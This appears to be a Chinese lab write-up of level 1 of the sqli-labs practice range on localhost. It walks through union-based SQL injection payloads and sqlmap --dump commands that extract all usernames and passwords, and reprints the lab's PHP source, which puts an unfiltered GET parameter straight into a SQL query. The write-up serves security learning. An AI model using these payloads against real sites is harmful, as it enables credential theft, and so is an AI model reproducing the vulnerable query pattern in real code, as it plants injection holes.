sql-labs靶场第一关测试报告

news2024/11/18 18:41:23

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①Order by判断列数

②判断回显地方

③爆库,查看数据库名称

④爆表,查看security库的所有表

⑤爆列,查看users表的所有列

⑥成功获取用户名和密码信息

3、Sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段值

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶    机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;下载地址:https://github.com/Mr-xn/hackbar2.1.3

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/

二、测试目的

①测试get型的sql注入,联合查询注入出数据库中的用户名和密码;

②使用sqlmap爆破,熟悉sqlmap的参数

三、操作过程

1、寻找注入点

根据提示,将id作为参数,值为数字

输入id之后,页面回显了对应的账户密码

给数字加个引号  ‘   ,回显报错,存在sql注入,注入点在url的id值

是字符型注入

2、注入数据库

①Order by判断列数

单引号后面拼接sql语句可以执行,因此闭合符号为单引号   '  

-- + 是注释符,sql语句中  --  后面加空格,会注释掉后面语句的所有内容

传入id值,先用order by 查看列数,可见数据库表共三列,查看第四列时会报错

?id=1' order by 3 --+

?id=1' order by 4 --+

②判断回显地方

使用联合查询注入,可以看到Login name是第二列,password是第三列

?id=-1' union select 1,2,3 --+

③爆库,查看数据库名称

?id=-1' union select 1,database(),3 --+

Database()函数返回当前数据库

④爆表,查看security库的所有表

?id=-1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

group_concat()函数可以将查询到的数据按格式排列;

查看inforamtion_schema数据库的tables字段来查看本数据库的所有表;

table_name是表名的字段名;

table_schema是数据库的字段名。

⑤爆列,查看users表的所有列

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema= database() and table_name='users'--+

依旧是inforamtion_schema数据库,使用columns字段查看对应数据表的所有列;

column_name是所有字段名的字段;

⑥成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

可以将所有的用户名和密码爆出

3、Sqlmap注入方法

①爆库

Payload:

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs

使用python程序

-u  指定url

--dbs   是爆库的参数

②爆表

Payload:

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 -D security --tables

-D  指定数据库,在这个数据库里找数据表

--tables   爆表的参数

③爆列

Payload:

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 -D security -T users --columns

-D   指定数据库

-T   指定数据表

--columns     爆破列名的参数

④爆字段值

Payload:

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 -D security -T users -C username,password --dump

-D   指定数据库

-T   指定数据表

-C   指定需要爆破的列名

--dump    爆破字段值的参数

四、源代码分析

<?php

//including the Mysql connect parameters.

include("../sql-connections/sql-connect.php");

error_reporting(0);

// take the variables

if(isset($_GET['id']))

{

$id=$_GET['id']; // id=1

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'ID:'.$id."\n");

fclose($fp);


// connectivity


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";


//$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);


    if($row)

    {

    echo "<font size='5' color= '#99FF00'>";

    echo 'Your Login name:'. $row['username'];

    echo "<br>";

    echo 'Your Password:' .$row['password'];

    echo "</font>";

    }

    else

    {

    echo '<font color= "#FFFF00">';

    print_r(mysql_error());

    echo "</font>";  

    }

}

    else { echo "Please input the ID as parameter with numeric value";}


?>

error_reporting(0);函数,关闭了php代码的所有错误报告;

获取的id值,直接写入了日志记录文件,同时也直接应用在sql语句中,没有任何过滤;

Sql语句只取一行,后面被过了掉了,所以没生效;

页面输出内容,直接将取到的数据,username和password打印在页面上。

五、结论

传递id号是sql注入漏洞的一大特点,有id参数就需要特别留意。

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

用sqlmap的话,需要把id参数带上,不然爆不出来。

这关使用联合查询,覆盖掉原来的sql语句。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2184108.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【CKA】五、网络策略–NetworkPolicy

5、配置网络策略–NetworkPolicy 1. 考题内容&#xff1a; 2. 答题思路&#xff1a; 1、根据题目分析要创建怎样的网络策略 2、按题目要求查看ns corp-net的label 3、编写yaml&#xff0c;其中注意 namespace、label、port 3. 官网地址&#xff1a; https://kubernetes.io/…

【EXCEL数据处理】000011 案列 EXCEL带有三角形图标的单元格转换

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享一篇文章&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495; 目录 【EXCEL数据处理】000011 案列 EXCEL带有三角形图标的单元格转换。使用…

数据结构-4.3.串的存储结构

一.串的顺序存储&#xff1a; 1.静态数组会由系统自动回收&#xff1b;动态数组需要手动回收&#xff1b; 2.优点&#xff1a;随机存取&#xff0c;可以立即找到所需的字符&#xff1b;缺点&#xff1a;插入和删除较麻烦&#xff1b; 3.串的顺序存储方案&#xff1a; 对于方…

双指针--收尾的两道题

双指针 (封面起到吸引读者作用&#xff0c;和文章内容无关哈&#xff0c;但是文章也是用心写的&#xff09; 三数之和 给你一个整数数组 nums &#xff0c;判断是否存在三元组 [nums[i], nums[j], nums[k]] 满足 i ! j、i ! k 且 j ! k &#xff0c;同时还满足 nums[i] nums…

面向代理的从单体到基于服务架构的转变的好处

论文标题&#xff1a;《Benefits of Agent-Oriented Transitioning from Monolithic To Service-Based Architectures》 作者信息&#xff1a; Daniel-Costel Bouleanu, University of Craiova, Romania; Polytechnic of Bari, ItalyMarco Alfredo Loaiza Carrillo, Universi…

根据视频id查询播放量

声明&#xff1a;文章仅用于学习交流,如有侵权请联系删除 如何根据视频ID查询视频的播放数量 在数字化时代&#xff0c;视频内容的消费已成为人们日常生活的重要组成部分。无论是社交媒体平台上的短视频&#xff0c;还是视频分享网站上的长视频&#xff0c;了解视频的播放数量…

TryHackMe 第5天 | Pre Security (四)

该学习路径讲解了网络安全入门的必备技术知识&#xff0c;比如计算机网络、网络协议、Linux命令、Windows设置等内容。过去三篇已经对前三块内容进行了简单介绍&#xff0c;本篇博客将记录 Windows设置 部分。 Windows Fundamentals Part 1 对于 Windows &#xff0c;肯定会感…

只需10秒,昂首资本发现短线交易4个优点

在金融市场&#xff0c;短线交易已经成为投资者追求高效收益的重要工具。那么&#xff0c;这种交易的本质究竟是怎样的&#xff1f;以下是昂首资本对短线交易的深入解析&#xff0c;以及其优缺点的详细分析。 短线交易的本质可以这样描述&#xff1a;交易会有相当小的止损&…

LeetCode 983.最低票价

在一个火车旅行很受欢迎的国度&#xff0c;你提前一年计划了一些火车旅行。在接下来的一年时间里&#xff0c;你要旅行的日子将以名为 days 的数组给出。每一项是一个 1 到 365 的整数。 火车票有三种不同的销售方式&#xff1a; 一张为期一天的通行证售价为cost[0]美元 一张为…

Stable Diffusion绘画 | 来训练属于自己的模型:素材准备篇

首先要说明的是&#xff0c;模型训练&#xff0c;需要显卡持续不间断地一致运行&#xff0c; 快则0.5-1小时左右&#xff0c;慢的话可能需要跑上几小时&#xff0c;甚至是几天&#xff0c; 原因跟显卡的配置和训练设置参数都有关系。 模型训练与显卡配置&#xff1a; 训练 L…

从零开始搭建UVM平台(七)-加入monitor

书接上回&#xff1a; 从零开始搭建UVM平台&#xff08;一&#xff09;-只有uvm_driver的验证平台 从零开始搭建UVM平台&#xff08;二&#xff09;-加入factory机制 从零开始搭建UVM平台&#xff08;三&#xff09;-加入objection机制 从零开始搭建UVM平台&#xff08;四&…

sadTalker本地编译

SadTalker一款开源的可生成逼真的人像动画的工具。它利用深度学习技术&#xff0c;根据输入的图像和音频&#xff0c;生成具有生动表情和动作的视频。用户可以通过上传照片或使用预设的模型&#xff0c;轻松创建个性化的动画内容. 以上是官网的图, 下边是本地部署生成的,效果差…

Vue+NestJS项目实操(图书管理后台)

一、项目搭建 前端基于vben进行二次开发 在Github下载vben框架&#xff0c;搜索vben即可 下载地址&#xff1a;https://github.com/vbenjs/vue-vben-admin 下载完成后&#xff0c;进行安装依赖&#xff0c;使用命令&#xff1a; // 下载依赖 pnpm install// 运行项目 pnpm …

麒麟系统命令失效快速修复

麒麟系统命令失效快速修复 1、问题描述2 问题原因3、解决方法 &#x1f490;The Begin&#x1f490;点点关注&#xff0c;收藏不迷路&#x1f490; 1、问题描述 麒麟操作系统中&#xff0c;所有命令突然无法使用。 2 问题原因 /usr目录权限可能被错误修改。 3、解决方法 准…

MySQL基础篇 - 多表查询

01 多表关系 【1】概念&#xff1a;项目开发中&#xff0c;在进行数据库表结构设计时&#xff0c;会根据业务需求及业务模块之间的关系&#xff0c;分析并设计表结构&#xff0c;由于业务之间相互关联&#xff0c;所以各表结构之间也存在着各种联系&#xff0c;基本上分为三种…

安装epic games错误码2738解决(安装ue错误码2738)

这个错误不好找到解决方案&#xff0c;尝试删除注册表以及通过电脑管家下载安装都不生效&#xff0c;仍然会错误2738。直到找到了这个解决方案。 1.cmd然后右键以管理员身份运行&#xff0c; 2.cd %windir%\syswow64进入该目录 3.reg delete “HKCU\SOFTWARE\Classes\Wow6432No…

HBuilder X中搭建vue-cli项目(一)

一、前端项目结构 传统结构&#xff1a;一个项目中有很多HTML文件,一个HTML文件就是一个网页。他们之间彼此独立,互相没有联系,我们每次导入其它前端文件时,需要给每一个HTML文件都导入,需要导入的文件一旦过多,就会很麻烦,并且整体看来很乱。 现代结构&#xff1a;在一个nod…

骨传导耳机哪款值得买?五款好评优选骨传导耳机分享!

科技发展的今天&#xff0c;产品设计的重心逐渐转向满足用户的行为与健康需求。耳机&#xff0c;已成为现代生活中不可缺少的电子配件&#xff0c;无论是出于日常习惯、隐私保护&#xff0c;还是在公共场合的礼貌&#xff0c;耳机都与我们形影不离。 随着耳机在日常生活中的地…

用 API 实现 AI 视频摘要:动手制作属于你的 AI 视频小助手

AI 视频摘要想必你一定不陌生&#xff0c;在各大视频平台&#xff0c;比如 B 站&#xff0c;评论区的 AI 视频小助手就如雨后春笋般遍地都是。 今天&#xff0c;让我们来填了这“护城河”&#xff0c;站到墙上看一看它的全貌。 简而言之&#xff0c;AI 视频摘要的工作流程如下&…

使用socket编程来实现一个简单的C/S模型(TCP协议)

前置 所使用到的函数查看本专栏中&#xff1a;socket的概念和常用函数介绍 1.C/S模型 - TCP 下图是基于TCP协议的客户端/服务器程序的一般流程&#xff1a; 服务器调用socket()、bind()、listen()完成初始化后&#xff0c;调用accept()阻塞等待&#xff0c;处于监听端口的状…